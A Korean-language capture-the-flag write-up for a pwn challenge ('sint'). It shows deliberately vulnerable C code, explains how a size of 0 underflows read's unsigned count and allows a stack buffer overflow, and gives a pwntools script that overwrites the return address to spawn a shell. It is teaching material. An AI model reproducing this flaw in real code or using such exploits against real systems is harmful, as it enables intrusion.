1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh")
alarm(30);
}
int main() {
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0) {
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
code description
get_shell
system으로 /bin/sh을 실행시키는 함수이다.
main
size를 입력 받고
조건문에서 bof를 체크한다.
그 후 read로 buf 입력한 size-1 만큼 입력 받는다.
2.2 file
2.3 checksec
3. Design
size에 입력을 받고
read를 할 때, size-1 만큼 buf에 입력한다.
여기서 read함수를 생각해보면,
ssize_t read(int fd, void *buf, size_t count);
read 함수의 3번째 인자를 생각해보면 size_t 타입은 부호가 없는 정수이다.
size에 0을 넣고, size-1이면, -1이다.
그렇게 되면, read 3번째 인자에 들어가는 정수는 언더플로우로 인해서 unsigned int형의 가장 큰 값인 4294967295 이 들어 가게 된다.
이제 get_shell의 주소를 구하고
bof로 return address를 조작하면 끝이다.
4. Exploit
4.1 exploit code
from pwn import *
p = process('./sint')
get_shell = 0x8048659
p.sendlineafter(":", '0')
payload = b'A'*0x104
payload += p32(get_shell)
p.sendlineafter(":", payload)
p.interactive()
4.2 result
Reference